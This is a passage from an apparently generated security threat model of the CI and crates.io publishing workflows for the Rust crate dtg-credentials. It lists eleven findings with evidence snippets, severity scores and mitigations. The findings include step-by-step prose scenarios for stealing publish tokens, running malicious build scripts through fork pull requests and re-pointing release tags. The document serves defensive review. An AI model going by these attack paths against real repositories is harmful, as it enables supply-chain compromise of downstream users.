  4. Malicious action code executes within the GitHub Actions runner context, which in publish.yml holds permissions: id-token: write and calls rust-lang/crates-io-auth-action@v1 to mint a crates.io publishing token.
  5. Attacker-controlled code inside the compromised action step exfiltrates the freshly minted CARGO_REGISTRY_TOKEN (steps.auth.outputs.token) via environment variable read or network callback before the legitimate cargo publish --locked step runs.
  6. Attacker uses the exfiltrated token to publish a malicious version of dtg-credentials to crates.io, or directly runs cargo publish with attacker-controlled crate contents in the compromised runner.

Preconditions: Ability to compromise or typosquat one of the referenced third-party GitHub Actions, Workflow triggers on push to main, pull_request, or tag push matching v*.., No SHA pinning or action integrity verification (e.g. no id: pin step, no OIDC action allow-listing at org level)

Existing Controls: OIDC Trusted Publishing avoids storing a long-lived crates.io token in the repository • permissions: block scoped narrowly to id-token: write and contents: read in publish.yml

Recommended Mitigations: Pin all third-party actions to a specific immutable commit SHA instead of a mutable tag/branch • Enable GitHub's Dependabot or Renovate for Actions version tracking with SHA updates • Restrict organization-level Actions permissions to an allow-list of vetted actions • Add branch protection requiring review of any workflow file change before merge


🟠 STRIDE-2: Pull Request Trigger Enabling Untrusted Code Execution via cargo clippy/test in ci.yml

Field Detail
Category Tampering, Elevation of Privilege, Information Disclosure
Severity High
Likelihood Likely
CVSS 7.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-829,CWE-284
CAPEC CAPEC-242,CAPEC-98
OWASP A08:2021 - Software and Data Integrity Failures

Description: The pull_request: trigger (EP-001) in COMP-002 allows arbitrary code execution via a malicious build.rs, custom derive macro, or crafted example/test code included in an attacker-submitted fork due to cargo fmt, cargo clippy, cargo test --all-features, and cargo package invoking the Rust compiler which executes procedural macros and build scripts at compile time, resulting in runner compromise and potential secrets exfiltration.

Evidence: .github/workflows/ci.yml:9-11

on:
  push:
    branches: [main]
  pull_request:

Attack Scenario:

  1. External attacker forks dtg-credentials and opens a pull request adding or modifying a build.rs, a proc-macro dependency, or code under examples/ or tests/ containing malicious logic (e.g. reading environment variables or network exfiltration).
  2. GitHub Actions pull_request trigger in .github/workflows/ci.yml fires automatically for the fork's PR (no explicit approval gate is defined in the provided workflow).
  3. The clippy, test, and no-default-features jobs run cargo clippy --all-targets --all-features, cargo test --all-features, and cargo test --no-default-features, all of which compile and execute attacker-supplied Rust code (including build.rs scripts and test binaries) within the ubuntu-latest runner.
  4. Malicious code executes inside the runner with access to the job's default GITHUB_TOKEN and any repository/organization secrets exposed to pull_request-triggered workflows (note: publish.yml is not triggered by pull_request, limiting but not eliminating blast radius since ci.yml runner secrets could still be probed).
  5. Attacker exfiltrates any accessible tokens or environment data via crafted network calls from within the malicious build script or test binary, or uses runner compute for cryptomining/pivoting.

Preconditions: Repository accepts pull requests from forks (public repo, no required-reviewer gating on workflow runs), No pull_request_target isolation or manual approval requirement configured, Attacker can submit a PR with modified Rust source (build.rs, proc-macro, examples, tests)

Existing Controls: pull_request event (not pull_request_target) limits token/secrets exposure compared to privileged trigger types • GITHUB_TOKEN default permissions are typically read-only unless elevated

Recommended Mitigations: Require manual approval for workflow runs from first-time or external contributors (Require approval for all outside collaborators) • Run untrusted PR code in a permissions-minimized, secrets-free job, separate from any job with write access • Set explicit least-privilege permissions: block at the top of ci.yml (currently unset, defaults to broad read/write in some org configs) • Use actions/checkout with persist-credentials: false to avoid leaking a token usable for repo writes


🟡 STRIDE-3: Missing Explicit Least-Privilege Permissions Block in ci.yml Enabling Excess Token Scope

Field Detail
Category Elevation of Privilege, Tampering
Severity Medium
Likelihood Possible
CVSS 5.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-276,CWE-269
CAPEC CAPEC-122
OWASP A01:2021 - Broken Access Control

Description: ci.yml in COMP-002 allows excessive GITHUB_TOKEN scope due to the absence of an explicit top-level permissions: block, resulting in the default (potentially read/write) token permissions being available to every job including those executing untrusted PR-triggered code.

Evidence: .github/workflows/ci.yml:1-17

name: CI

on:
  push:
    branches: [main]
  pull_request:

env:
  CARGO_TERM_COLOR: always

jobs:

Attack Scenario:

  1. Organization or repository default workflow permissions are set to read and write (a common legacy default for older repos/orgs).
  2. Attacker-controlled pull request triggers ci.yml as described in STRIDE-2.
  3. Because no permissions: block is declared in ci.yml, the implicit GITHUB_TOKEN inherits the repository/organization default rather than being scoped to contents: read only.
  4. Malicious code running inside clippy/test jobs (per STRIDE-2) can use the ambient GITHUB_TOKEN (if write-scoped) to push commits, create releases, or modify repository settings via the GitHub API.
  5. Attacker leverages this write access to inject a backdoor commit directly, bypassing further review, or to create a malicious tag matching v*.*.* and trigger publish.yml.

Preconditions: Repository/org default GITHUB_TOKEN permissions are broader than read-only, No explicit permissions: block set in ci.yml (confirmed absent in provided source), Attacker has already achieved code execution in a CI job (chained from STRIDE-2)

Existing Controls: publish.yml does declare explicit permissions: id-token: write / contents: read, limiting that workflow specifically

Recommended Mitigations: Add explicit permissions: contents: read at the top level of ci.yml • Set organization-wide default workflow permissions to read-only • Use per-job permissions: overrides instead of relying on defaults


🟡 STRIDE-4: TOCTOU Race Condition Between Duplicate-Version Check and cargo publish in publish.yml

Field Detail
Category Tampering, Denial of Service
Severity Medium
Likelihood Possible
CVSS 4.8 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-367
CAPEC CAPEC-25
OWASP A04:2021 - Insecure Design

Description: The idempotency check in COMP-003 allows a time-of-check-to-time-of-use race due to the sparse-index HTTP lookup (curl ... index.crates.io) and subsequent cargo publish --locked being non-atomic and separated in time, resulting in a potential double-publish, wasted release slot, or inconsistent CHANGELOG-to-crates.io state if two workflow runs race on the same version.

Evidence: .github/workflows/publish.yml:60-72

if curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null \
    | jq -se --arg v "$version" 'any(.[]; .vers == $v)' >/dev/null; then
  echo "::notice::dtg-credentials ${version} is already on crates.io — nothing to do"
  exit 0
fi
cargo publish --locked

Attack Scenario:

  1. Maintainer or CI re-triggers publish.yml twice in quick succession for the same tag (e.g. accidental double tag push, or workflow_dispatch triggered manually while a tag-push run is still in flight).
  2. Both runs independently execute the curl -sSf https://index.crates.io/dt/g-/dtg-credentials check and both observe the version as NOT yet present (crates.io index CDN can lag behind the authoritative state after a publish).
  3. Both runs proceed to cargo publish --locked for the same crate version concurrently.
  4. One publish succeeds; the second fails with a crates.io-side 'version already uploaded' error mid-run, potentially after partial side effects (e.g. crates.io's own docs.rs build trigger firing twice, or CI minutes/log noise), or — if crates.io API is momentarily inconsistent — a corrupted/incomplete tarball upload race.
  5. While crates.io itself enforces immutability server-side and this is not catastrophic, it demonstrates the workflow's idempotency check is a soft (advisory) guard, not a hard lock, and cannot be relied upon to prevent double-invocation side effects (e.g. duplicate GitHub Release creation if added later, or duplicate notification webhooks).

Preconditions: Two publish.yml runs triggered concurrently for the same version (double tag push, manual workflow_dispatch race, or CI retry), crates.io sparse index CDN propagation lag at the time of the check

Existing Controls: crates.io registry itself enforces version immutability server-side, preventing actual overwrite • --locked flag ensures consistent dependency resolution across runs

Recommended Mitigations: Use a GitHub Actions concurrency group (concurrency: publish-${{ github.ref }}) to serialize publish.yml runs per tag • Query the crates.io API endpoint with strong consistency guarantees rather than the CDN-backed sparse index, or add a short retry/backoff • Treat a 'version already uploaded' error from cargo publish as a successful no-op rather than a hard failure


🟡 STRIDE-5: Malleable Tag-Version Consistency Check Enabling Tag Re-Pointing Bypass in publish.yml

Field Detail
Category Tampering, Repudiation
Severity Medium
Likelihood Possible
CVSS 5.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N
Residual Severity Medium
CWE CWE-345,CWE-354
CAPEC CAPEC-694,CAPEC-98
OWASP A08:2021 - Software and Data Integrity Failures

Description: The tag-to-version validation step in COMP-003 allows repudiation of release provenance due to the reliance on a mutable Git tag (refs/tags/v*.*.*) matched only against Cargo.toml version rather than a cryptographically verified/signed tag, resulting in a maintainer or compromised-credential actor being able to force-push/re-point an existing tag to a different commit and re-trigger a publish of unreviewed code under the same version string, with no immutable audit trail linking the published artifact to the reviewed source.

Evidence: .github/workflows/publish.yml:25-33

tag="${GITHUB_REF_NAME#v}"
crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
if [ "$tag" != "$crate" ]; then
  echo "::error::tag v${tag} does not match Cargo.toml version ${crate}"
  exit 1
fi

Attack Scenario:

  1. Attacker gains push access to the repository (e.g. via compromised maintainer credentials, leaked SSH key, or an insider threat) — a plausible precondition given no branch protection details were included for tags.
  2. Attacker force-pushes a new commit to an existing tag vX.Y.Z (Git tags are mutable unless protected), pointing it at a different, malicious commit while keeping Cargo.toml version identical.
  3. publish.yml's tag push trigger (EP-002) fires on the re-pointed tag.
  4. The 'Tag must match the crate version' step only string-compares $GITHUB_REF_NAME against Cargo.toml's version field extracted via cargo metadata; it performs no verification of tag signature, commit provenance, or whether this tag was already published previously from a different commit SHA.
  5. The workflow proceeds to authenticate via OIDC and calls cargo publish --locked, publishing the attacker's malicious commit content under the crate's already-established version reputation (crates.io itself would reject a literal re-publish of the same version+checksum, but if never yet published, e.g. attacker races a legitimate first publish, or targets a not-yet-released tag, this succeeds).
  6. No signed-tag verification or GitHub OIDC sub claim check tying the publish specifically to a protected tag/environment means there is insufficient non-repudiation evidence that the published artifact matches reviewed source.

Preconditions: Attacker has push/tag-creation access to the repository (compromised credentials or missing branch/tag protection), No tag protection rules (Settings > Tags > Protected tags) configured to prevent tag deletion/re-pointing, No commit signature verification (git tag -s + verify-commit) enforced in the workflow

Existing Controls: Tag-to-Cargo.toml version equality check prevents accidental version mismatch (not malicious tampering) • OIDC Trusted Publishing scopes the publish credential to the specific publish.yml workflow file

Recommended Mitigations: Configure GitHub tag protection rules restricting who can create/delete/modify tags matching v*.*.* • Require signed and verified tags/commits before allowing the publish workflow to proceed • Use a GitHub Environment with required reviewers for the publish job to add a manual approval gate • Record and verify the specific commit SHA associated with each published version to detect re-pointing


🟡 STRIDE-6: workflow_dispatch Trigger Without Input Validation or Approval Gate in publish.yml

Field Detail
Category Elevation of Privilege, Tampering
Severity Medium
Likelihood Possible
CVSS 5.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-862,CWE-284
CAPEC CAPEC-122,CAPEC-694
OWASP A01:2021 - Broken Access Control

Description: The workflow_dispatch: trigger (EP-002) in COMP-003 allows any actor with repository write access to manually invoke the publish workflow off of an arbitrary branch/ref due to the absence of a ref: restriction, required-reviewer environment, or additional confirmation input, resulting in publishing to crates.io from a non-tag, non-reviewed ref since the 'Tag must match the crate version' step is explicitly gated by if: startsWith(github.ref, 'refs/tags/v') and is SKIPPED entirely for workflow_dispatch runs off branches.

Evidence: .github/workflows/publish.yml:18-33

on:
  push:
    tags: ["v*.*.*"]
  workflow_dispatch:
...
- name: Tag must match the crate version
  if: startsWith(github.ref, 'refs/tags/v')

Attack Scenario:

  1. Attacker or compromised low-privilege collaborator with write access (sufficient for workflow_dispatch) navigates to the Actions tab and manually runs publish.yml selecting an arbitrary branch (e.g. a feature branch, or even main before a version bump lands).
  2. Because the run is workflow_dispatch and not a tag push, github.ref is refs/heads/<branch>, not refs/tags/vX.Y.Z.
  3. The 'Tag must match the crate version' step's if: startsWith(github.ref, 'refs/tags/v') condition evaluates false, so the step is SKIPPED entirely — no version/tag consistency check occurs.
  4. Execution proceeds directly to 'Authenticate to crates.io' and then cargo publish --locked, publishing whatever Cargo.toml version currently exists on the selected branch, without any tag-based provenance check.
  5. If the selected branch has an as-yet-unreleased or manipulated version bump (e.g. a malicious PR merged to a feature branch that bumped the version and modified source), this publishes unreviewed/unauthorized code to crates.io under a legitimate-looking version.
  6. Because crates.io publish is irreversible (versions cannot be un-published, only 'yanked'), this results in permanent registry compromise for that version.

Preconditions: Attacker or compromised account has write (not just read) access to trigger workflow_dispatch, No GitHub Environment protection rule (required reviewers) attached to the publish job, Selected branch/ref contains a Cargo.toml version not yet published

Existing Controls: OIDC-based auth reduces credential theft risk relative to static tokens • crates.io yank capability allows post-hoc mitigation (does not remove already-downloaded malicious versions)

Recommended Mitigations: Remove workflow_dispatch from publish.yml or restrict it to a required-reviewer GitHub Environment • Enforce the tag/version consistency check unconditionally (fail closed) rather than skipping it for non-tag refs • Require manual approval via environment: production with configured required reviewers for the publish job • Restrict workflow_dispatch input to explicit tag selection with validation


🔵 STRIDE-7: Insufficient Logging and Audit Trail for crates.io Publish Actions in publish.yml

Field Detail
Category Repudiation
Severity Low
Likelihood Possible
CVSS 3.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-778
CAPEC CAPEC-93
OWASP A09:2021 - Security Logging and Monitoring Failures

Description: The publish job in COMP-003 allows repudiation of release actions due to the workflow producing only ephemeral GitHub Actions run logs and a ::notice::/::error:: annotation with no persistent, tamper-evident record (e.g. signed provenance attestation, SLSA build metadata) linking the specific commit SHA, actor identity, and published crate checksum, resulting in an inability to definitively prove after the fact which commit and which triggering actor produced a given crates.io release if logs expire or are disputed.

Evidence: .github/workflows/publish.yml:42-49

echo "::error::tag v${tag} does not match Cargo.toml version ${crate}"
exit 1

Attack Scenario:

  1. A release is published via publish.yml (either through a legitimate tag push or the workflow_dispatch path described in STRIDE-6).
  2. GitHub Actions run logs (the only record of which actor triggered the run, from which ref, and which token authenticated) are retained per the repository's log retention policy (default 90 days on GitHub, shorter on some plans) and are not independently backed up or notarized.
  3. No SLSA provenance attestation or cargo publish build-provenance metadata is generated and attached to the crates.io release.
  4. Months later, a dispute arises (e.g. 'was this version published from the reviewed main branch or from a feature branch via workflow_dispatch?') and the GitHub Actions logs have expired or been manually cleared by an admin with contents: write/admin access.
  5. There is no independent, cryptographically verifiable record to resolve the dispute, undermining supply-chain trust for consumers of dtg-credentials (e.g. the verifiable-trust-infrastructure project noted in the publish.yml comments).

Preconditions: Dispute or incident investigation occurs after GitHub Actions log retention window has elapsed, No external provenance/attestation system integrated

Existing Controls: GitHub Actions run history provides short-to-medium term auditability • Git tag and commit history provides some correlation between tag and source

Recommended Mitigations: Integrate SLSA provenance generation (e.g. slsa-framework/slsa-github-generator) and attach build provenance to the crates.io release • Enable and extend GitHub Actions log retention for release-related workflows • Publish a signed checksum/attestation alongside the crate for independent verification


🔵 STRIDE-8: Unbounded curl Fetch of crates.io Sparse Index Without TLS Pinning or Response Integrity Check in publish.yml

Field Detail
Category Tampering, Denial of Service
Severity Low
Likelihood Unlikely
CVSS 3.7 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-345,CWE-300
CAPEC CAPEC-94
OWASP A08:2021 - Software and Data Integrity Failures

Description: The idempotency check in COMP-003 allows tampering with the publish decision due to an unauthenticated curl -sSf fetch of https://index.crates.io/dt/g-/dtg-credentials with no response integrity/signature verification and reliance on default system CA trust, resulting in a network-position or DNS-spoofing adversary (e.g. compromised runner network egress, DNS hijack) potentially causing the workflow to falsely believe a version is already published (skip real publish, causing release delay/DoS) or falsely believe it is not published (proceeding to publish when it actually is, though crates.io server-side immutability limits impact of the latter).

Evidence: .github/workflows/publish.yml:60-65

if curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null \
    | jq -se --arg v "$version" 'any(.[]; .vers == $v)' >/dev/null; then

Attack Scenario:

  1. Attacker achieves a man-in-the-middle position on the GitHub Actions runner's network egress (e.g. via compromised runner image, malicious sidecar action from STRIDE-1, or DNS cache poisoning of the ephemeral runner).
  2. The 'Publish' step's curl -sSf https://index.crates.io/dt/g-/dtg-credentials request is intercepted and answered with a forged JSON response indicating the target version IS already present.
  3. The jq -se --arg v "$version" 'any(.[]; .vers == $v)' check evaluates true based on the forged data.
  4. The workflow logs ::notice::... is already on crates.io — nothing to do and exits 0 without publishing, silently causing a denial-of-service against the intended release (the tag is consumed/burned without the crate ever reaching crates.io, and later re-tagging requires a version bump per the workflow's own design comments).
  5. The team discovers the missing release only when a downstream consumer (e.g. verifiable-trust-infrastructure) fails to resolve the dependency, causing delayed availability of security-relevant credential-verification code.

Preconditions: Attacker has network-level MITM capability against the GitHub-hosted runner's egress traffic, No response signature/integrity verification beyond standard TLS certificate validation

Existing Controls: HTTPS/TLS used for the curl request, providing baseline transport confidentiality/integrity against passive attackers • set -euo pipefail ensures script fails closed on unexpected curl/jq errors rather than silently proceeding with bad data in most failure modes

Recommended Mitigations: Use the official cargo info / crates.io API with authenticated client rather than raw sparse-index scraping where feasible • Add a secondary verification source (e.g. cross-check with the crates.io GraphQL/REST API) before deciding to skip publish • Treat the idempotency check as advisory-only and always attempt cargo publish, relying on crates.io's own 'already published' error rather than pre-emptively skipping


🔵 STRIDE-9: Feature-Gating Misconfiguration in Cargo.toml Masking Compile-Time Enforcement of Signing Backend

Field Detail
Category Information Disclosure, Denial of Service
Severity Low
Likelihood Possible
CVSS 2.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-693,CWE-1008
CAPEC CAPEC-664
OWASP A04:2021 - Insecure Design

Description: The [[example]] blocks in COMP-001 (sign_and_verify, data_room) allow silent security-relevant capability confusion due to required-features = ["affinidi-signing"] being enforced only for the two example binaries and not for the library crate itself, resulting in downstream consumers who build dtg-credentials with --no-default-features unknowingly linking a credential library where signing/verification capability (authority::verify_chain-adjacent code paths, per repository comments) is silently absent, with no compile-time or runtime assertion surfacing that authority verification is unavailable in that configuration.

Evidence: Cargo.toml:38-46

[[example]]
name = "sign_and_verify"
required-features = ["affinidi-signing"]

[[example]]
name = "data_room"
required-features = ["affinidi-signing"]

Attack Scenario:

  1. A downstream consumer (e.g. the verifiable-trust-infrastructure project referenced in publish.yml comments) adds dtg-credentials as a dependency with default-features = false for a minimal build, unaware that affinidi-signing (containing signing/verification logic) is part of the default feature set per the CI comment default = ["affinidi-signing"].
  2. The consumer's build succeeds because the library crate itself compiles fine without the feature (only the examples are gated per the diff to Cargo.toml) — this is the exact scenario the CHANGELOG 'Fixed' entry describes as previously producing a confusing .sign()-missing-method error for examples, but the underlying condition (library compiles feature-off) still applies to consumer code.
  3. Consumer code that expects to call signing/verification functionality (conceptually adjacent to authority::verify_chain referenced in ci.yml's comments) either fails to compile with an unrelated-looking error, or — in a worse case not covered by this fix — silently falls back to a no-op/stub if such a pattern exists elsewhere in the library (not visible in the provided source, but a plausible risk given the feature-gating pattern established here).
  4. If any authority/authenticity verification code path degrades gracefully rather than failing to compile when affinidi-signing is disabled, a consumer could ship a build that silently skips cryptographic verification of authority credentials, exactly the risk flagged in the ci.yml design comment about authority::verify_chain deciding 'whether a holder acquired authority they were never granted.'

Preconditions: Downstream consumer builds with --no-default-features or a feature set excluding affinidi-signing, Library code (not visible in provided source) contains any conditional-compilation fallback for verification logic tied to the affinidi-signing feature

Existing Controls: CI's no-default-features job in ci.yml exercises cargo test --no-default-features, providing some detection if the library itself fails to compile or behaves incorrectly without the feature • The Cargo.toml fix ensures examples fail fast with a feature error rather than a confusing missing-method error

Recommended Mitigations: Audit the library source (not included in this dataset) to confirm no verification-critical code path silently no-ops when affinidi-signing is disabled • Add an explicit compile-time #[cfg(not(feature = "affinidi-signing"))] stub that returns a hard error/panic rather than allowing silent degradation, if such a path exists • Document in the crate-level README/docs which security guarantees are contingent on the affinidi-signing feature being enabled • Add a CI job that specifically attempts to exercise credential-verification APIs with the feature disabled and asserts a compile error or explicit unsupported-operation error


🔵 STRIDE-10: System Dependency Installation via apt-get Without Package Integrity Pinning in ci.yml

Field Detail
Category Tampering
Severity Low
Likelihood Unlikely
CVSS 3.4 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-1357
CAPEC CAPEC-538
OWASP A08:2021 - Software and Data Integrity Failures

Description: The system dependency installation steps in COMP-002 allow supply chain tampering due to sudo apt-get update && sudo apt-get install -y libpcsclite-dev libdbus-1-dev fetching packages from Ubuntu's default archive mirrors with no version pinning or checksum verification beyond APT's built-in GPG signing, resulting in installation of a compromised package version if an Ubuntu mirror or the upstream archive itself is compromised during the narrow window between apt-get update and install.

Evidence: .github/workflows/ci.yml:27-29

- name: System dependencies
  run: sudo apt-get update && sudo apt-get install -y libpcsclite-dev libdbus-1-dev

Attack Scenario:

  1. Attacker compromises an Ubuntu APT mirror or achieves a position to serve malicious packages during the CI runner's apt-get update/install window (low likelihood given APT's GPG-signed repository metadata, but not zero given historical mirror compromise incidents).
  2. The clippy, test, and no-default-features jobs in ci.yml each independently run sudo apt-get install -y libpcsclite-dev libdbus-1-dev with no explicit version pin (e.g. libpcsclite-dev=1.9.9-2).
  3. A malicious or backdoored version of libdbus-1-dev/libpcsclite-dev is installed, potentially including a malicious postinst script that executes with sudo privileges on the runner.
  4. This grants the attacker code execution in the CI runner, chainable with the credential-exfiltration scenario in STRIDE-1/STRIDE-2 depending on which job is affected.

Preconditions: Ubuntu APT mirror infrastructure compromise or MITM against apt.ubuntu.com equivalents during the CI run, No explicit package version/hash pinning in the workflow

Existing Controls: APT's built-in repository metadata GPG signing provides baseline integrity assurance against unsigned tampering • GitHub-hosted runners are ephemeral, limiting persistence of any compromise

Recommended Mitigations: Pin exact package versions in the apt-get install command where feasible • Cache and vendor known-good .deb packages rather than fetching fresh on every run • Consider a pinned container image with dependencies pre-baked instead of runtime apt-get install


⚪ STRIDE-11: MSRV Job Skips Test Suite Enabling Undetected Breaking Changes at Minimum Supported Rust Version

Field Detail
Category Denial of Service
Severity Informational
Likelihood Likely
CVSS 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Informational
CWE CWE-1104
CAPEC N/A
OWASP A06:2021 - Vulnerable and Outdated Components

Description: The msrv job in COMP-002 allows undetected functional/security regressions at the minimum supported Rust version due to running only cargo check --all-features rather than cargo test, resulting in security-relevant logic (e.g. cryptographic verification code referenced as authority::verify_chain) that type-checks but behaves incorrectly or panics at the pinned MSRV (1.95.0) going undetected until a downstream consumer on that exact toolchain version hits a runtime failure in production.

Evidence: .github/workflows/ci.yml:60-65

msrv:
  name: Minimum Supported Rust Version
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v7
    - uses: dtolnay/rust-toolchain@1.95.0
    - run: cargo check --all-features

Attack Scenario:

  1. A code change introduces a subtle runtime behavior difference at the MSRV toolchain (e.g. differing standard library behavior, a dependency's MSRV-specific bug, or a const-eval difference) that does not manifest as a compile error.
  2. The msrv job only runs cargo check --all-features, which performs type/borrow checking but does not execute any test code, so the regression is not exercised.
  3. The test and no-default-features jobs run on dtolnay/rust-toolchain@stable (the newer stable toolchain), which does not reproduce the MSRV-specific behavior.
  4. The change merges to main and is released via publish.yml.
  5. A downstream consumer building on Rust 1.95.0 (the declared MSRV) experiences a runtime failure or incorrect behavior in credential verification logic that was never actually tested at that toolchain version.

Preconditions: A behavioral (not compile-time) difference exists between MSRV and current stable Rust toolchains, Downstream consumer pins exactly to the declared MSRV

Existing Controls: cargo check --all-features does catch compile-time API/type incompatibilities at MSRV • The test job does run the full suite, just on a newer toolchain

Recommended Mitigations: Change the msrv job to run cargo test --all-features (or at minimum a representative subset) instead of only cargo check • Add a matrix build across MSRV and stable for the full test suite



🍝 PASTA Threat Model

Application Purpose

dtg-credentials is a Rust cryptographic credential library issuing and verifying verifiable authority/data-room credentials (VAC/VDC), whose CI/CD automation (build verification and crates.io release publishing) is the subject of this PR and directly gatekeeps the integrity of security-critical code reaching consumers such as verifiable-trust-infrastructure.

Inherent Risks

  • The repository previously had zero automated checks, meaning two prior releases of security-critical authority-verification code merged and published based solely on local developer runs.
  • The publish pipeline is a single-point release gate whose compromise directly poisons the crates.io supply chain for all downstream consumers.
  • No application source code (e.g. authority::verify_chain implementation) was provided in this dataset, limiting analysis to build/release infrastructure risk rather than cryptographic logic risk.

Objectives

Risk: Treat any CI/CD compromise enabling unauthorized publish as unacceptable given the library's role in authority/credential verification.
Business: Establish a trustworthy, automated release pipeline for a credential-verification library consumed by downstream trust-infrastructure projects.
Security: Prevent unauthorized or unreviewed code from being published to crates.io under the dtg-credentials name.; Avoid storing long-lived publishing credentials in the repository.
Financial: Avoid costs associated with a compromised release requiring crate yanking, incident response, and consumer remediation.
Compliance: Maintain auditable correlation between reviewed source, tagged version, and published crate artifact.
Functional: Automatically validate formatting, linting, tests, feature-flag combinations, and packaging on every push/PR.; Automatically publish tagged releases to crates.io without long-lived credentials.
Operational: Ensure CI system dependencies (dbus, pcsclite) are correctly provisioned only where needed to keep fast jobs lean.; Guarantee idempotent, safe re-runs of the publish workflow.

Business Impact Analysis (2)

BIA-1: Crates.io Release Publishing (Critical)

Tag-triggered automated publishing of the dtg-credentials crate to crates.io via OIDC-based Trusted Publishing without any long-lived registry token.

MTD: 01 days 00:00 hours | RTO: 00 days 04:00 hours | RPO: 00 days 00:00 hours

  • Stakeholders: Crate Maintainers / Downstream Consumers / OpenVTC Organization / Verifiable-Trust-Infrastructure Project
  • Dependencies: Cargo.toml Version Field / GitHub Actions Runner / OIDC Trusted Publishing Configuration / crates.io Registry / rust-lang/crates-io-auth-action
  • Disruptions: Compromised or typosquatted third-party GitHub Action executing in the publish job / Force-pushed/re-pointed release tag / workflow_dispatch invoked from an unreviewed branch / crates.io sparse index CDN lag causing false-positive idempotency skip
  • Impacts: Publication of malicious or unreviewed code to crates.io under the trusted crate name / Permanent, unyankable-from-history compromise of a specific version once downloaded by consumers / Downstream compilation failure or supply chain compromise for verifiable-trust-infrastructure / Reputational damage to OpenVTC as a credential-infrastructure provider

BIA-2: Continuous Integration Build Verification (High)

Automated fmt/clippy/test/no-default-features/msrv/package validation on every push to main and every pull request to catch regressions before merge.

MTD: 02 days 00:00 hours | RTO: 00 days 08:00 hours | RPO: 00 days 00:00 hours

  • Stakeholders: Crate Maintainers / External Contributors / Downstream Consumers
  • Dependencies: GitHub Actions Runners / Third-Party Actions (checkout, rust-toolchain, rust-cache) / APT Package Mirrors (libdbus, libpcsclite)
  • Disruptions: Malicious code execution via untrusted pull_request-triggered build/test of forked code / Compromised third-party action tag / APT mirror compromise during system dependency installation
  • Impacts: Exfiltration of CI secrets or GITHUB_TOKEN / Runner compute abuse (cryptomining, pivoting) / False sense of security if MSRV job does not execute tests

Technical Scope

Roles (3): RO-1 Repository Maintainer · RO-2 External Contributor · RO-3 CI/CD Automation

Actors (4): AC-1 Maintainer · AC-2 Fork Contributor · AC-3 GitHub Actions Runner · AC-4 crates.io Trusted Publishing Service

Entry Points (3): EP-1 CI Trigger on Push/Pull Request · EP-2 Publish Trigger on Tag Push/Manual Dispatch · EP-3 crates.io OIDC Authentication

Threat Actors (3): TA-1 Malicious External Contributor · TA-2 Supply Chain Attacker · TA-3 Compromised/Malicious Insider

Infrastructure (1): IF-1 GitHub-Hosted ubuntu-latest Runners

Trust Boundaries (3): TB-1 GitHub Actions Runner Boundary · TB-2 crates.io Registry Boundary · TB-3 GitHub Repository Boundary

External Entities (3): EE-1 External Pull Request Contributor · EE-2 crates.io Registry · EE-3 Third-Party GitHub Actions Marketplace

System Components (3): SC-1 dtg-credentials Library and Examples · SC-2 CI Workflow (ci.yml) · SC-3 Publish Workflow (publish.yml)

Resources And Assets (3): RA-1 Short-Lived crates.io Publishing Token · RA-2 Published Crate Artifact · RA-3 Default GITHUB_TOKEN in CI Jobs

Technologies And Dependencies (5): TD-1 actions/checkout · TD-2 dtolnay/rust-toolchain · TD-3 Swatinem/rust-cache · TD-4 rust-lang/crates-io-auth-action · TD-5 affinidi-tdk

Use Cases (2)

  • Automated Pull Request Build Verification: A contributor opens a pull request, which automatically triggers formatting, linting, and test jobs so maintainers can review verified changes before merge.
  • Tagged Release Publishing to crates.io: A maintainer pushes a version tag matching v*.. which triggers the publish workflow to authenticate via OIDC and publish the crate to crates.io.

⚔️ Attack Scenarios (2)

SC-3: Publish Workflow (publish.yml)

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL1["5. System Component"]
    direction LR
    SC3@{ shape: rect, label: "SC-3: Publish Workflow (publish.yml)" }
  end
  subgraph SL2["4. Weaknesses"]
    direction LR
    CWE1357@{ shape: rect, label: "CWE-1357: Reliance on Insufficiently Trustworthy Component" }
    CWE862@{ shape: rect, label: "CWE-862: Missing Authorization" }
    CWE345@{ shape: rect, label: "CWE-345: Insufficient Verification of Data Authenticity" }
    CWE367@{ shape: rect, label: "CWE-367: Time-of-check Time-of-use Race Condition" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC538@{ shape: rect, label: "CAPEC-538: Open-Source Library Manipulation" }
    CAPEC694@{ shape: rect, label: "CAPEC-694: System Location Discovery" }
    CAPEC25@{ shape: rect, label: "CAPEC-25: Forced Deadlock/Race Condition" }
  end
  subgraph SL4["2. Threats"]
    direction LR
    S1@{ shape: rect, label: "STRIDE-1: Unpinned Third-Party Action Tags<br><i>High / Possible</i>" }
    S6@{ shape: rect, label: "STRIDE-6: workflow_dispatch Without Approval Gate<br><i>Medium / Possible</i>" }
